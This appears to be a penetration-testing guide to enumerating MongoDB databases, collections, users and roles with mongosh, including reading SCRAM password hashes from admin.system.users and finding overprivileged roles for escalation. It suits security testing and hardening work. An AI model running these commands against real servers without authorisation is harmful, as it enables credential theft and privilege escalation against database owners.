# MongoDB Database, User, and Role Enumeration

- **URL:** https://hackindex.io/services/mongodb/enumeration/mongodb-database-user-and-role-enumeration
- **Path:** MongoDB > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/mongodb/enumeration.md)
- **Published:** 2025-12-29
- **Updated:** 2026-03-28

Database and user enumeration maps what data exists and which identities have access to it. When authentication is absent this is fully accessible without credentials. When authenticated with a low-privilege account, the same commands reveal what other users and roles exist: useful for identifying privilege escalation paths. Run this after [service discovery](https://hackindex.io/services/mongodb/enumeration/mongodb-service-discovery-and-access-validation) confirms access.

## Check Authentication State

Confirm what identity the current connection has before enumerating further:

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.runCommand({connectionStatus: 1}))'
# {
#   authInfo: {
#     authenticatedUsers: [],
#     authenticatedUserRoles: []
#   },
#   ok: 1
# }
```

Empty arrays confirm unauthenticated access. If users and roles are listed, note the current identity's roles before proceeding: they determine what the following commands will return.

## List All Databases

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.adminCommand({listDatabases: 1}))'
# {
#   databases: [
#     { name: 'admin',   sizeOnDisk: 102400, empty: false },
#     { name: 'appdb',   sizeOnDisk: 81920,  empty: false },
#     { name: 'users',   sizeOnDisk: 40960,  empty: false },
#     { name: 'local',   sizeOnDisk: 40960,  empty: false }
#   ],
#   totalSize: 266240,
#   ok: 1
# }
```

Prioritize by database type:

- Application databases (appdb, users, webapp, customers) for user data and credentials
- `admin` database for MongoDB user credentials and role assignments
- `local` and `config` are system databases with limited attack value

## List Collections in a Database

```bash
mongosh $TARGET_IP:27017/appdb --quiet --eval 'printjson(db.getCollectionNames())'
# [ 'users', 'sessions', 'orders', 'products', 'api_tokens' ]
```

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'db.adminCommand({listDatabases:1}).databases.forEach(d => { let cols = db.getSiblingDB(d.name).getCollectionNames(); if(cols.length) print(d.name+": "+cols.join(", ")) })'
# appdb: users, sessions, orders, api_tokens
# analytics: events, metrics
# admin: system.users, system.roles
```

## MongoDB user and role enumeration

Pull all users from the admin database, which stores credentials for all databases:

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.adminCommand({usersInfo: {forAllDBs: true}}))'
# {
#   users: [
#     {
#       user: 'admin',
#       db: 'admin',
#       roles: [ { role: 'root', db: 'admin' } ],
#       mechanisms: [ 'SCRAM-SHA-256' ]
#     },
#     {
#       user: 'appuser',
#       db: 'appdb',
#       roles: [ { role: 'readWrite', db: 'appdb' } ],
#       mechanisms: [ 'SCRAM-SHA-1', 'SCRAM-SHA-256' ]
#     }
#   ],
#   ok: 1
# }
```

Users with `root` or `dbOwner` on admin are the highest-privilege accounts. Note the mechanism: `SCRAM-SHA-1` is weaker than `SCRAM-SHA-256` and more susceptible to offline cracking if hashes are accessible. Users stored in the admin database's `system.users` collection contain password hashes readable with sufficient privileges.

## Read Password Hashes from system.users

With read access to the admin database, pull the stored credential hashes directly:

```bash
mongosh $TARGET_IP:27017/admin --quiet --eval 'db.system.users.find({},{user:1,credentials:1,roles:1}).forEach(u => printjson(u))'
# {
#   user: 'admin',
#   credentials: {
#     'SCRAM-SHA-1': { storedKey: 'abc123...', serverKey: 'def456...' },
#     'SCRAM-SHA-256': { storedKey: 'xyz789...', serverKey: 'uvw012...' }
#   },
#   roles: [ { role: 'root', db: 'admin' } ]
# }
```

## Enumerate Roles

List all roles to understand what privilege levels exist and whether any custom roles with elevated permissions have been created:

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.adminCommand({rolesInfo: 1, showBuiltinRoles: false}))' | grep -A3 'role:'
# role: 'dataExporter',
# db: 'admin',
# privileges: [ { resource: { anyResource: true }, actions: [ 'find' ] } ]
```

Custom roles with `anyResource` or broad action lists are overprivileged and often assigned to service accounts. Identifying these helps map privilege escalation paths: if you can authenticate as a user with a custom role that has broader access than intended, that is an escalation vector. Move to [data extraction](https://hackindex.io/services/mongodb/exploitation/mongodb-unauthenticated-data-extraction) to pull collection contents.

## References

- [MongoDB: usersInfo](https://www.mongodb.com/docs/manual/reference/command/usersInfo/) - User enumeration command including forAllDBs parameter
- [MongoDB: Built-in Roles](https://www.mongodb.com/docs/manual/reference/built-in-roles/) - Built-in role reference including root, dbOwner, and readWriteAnyDatabase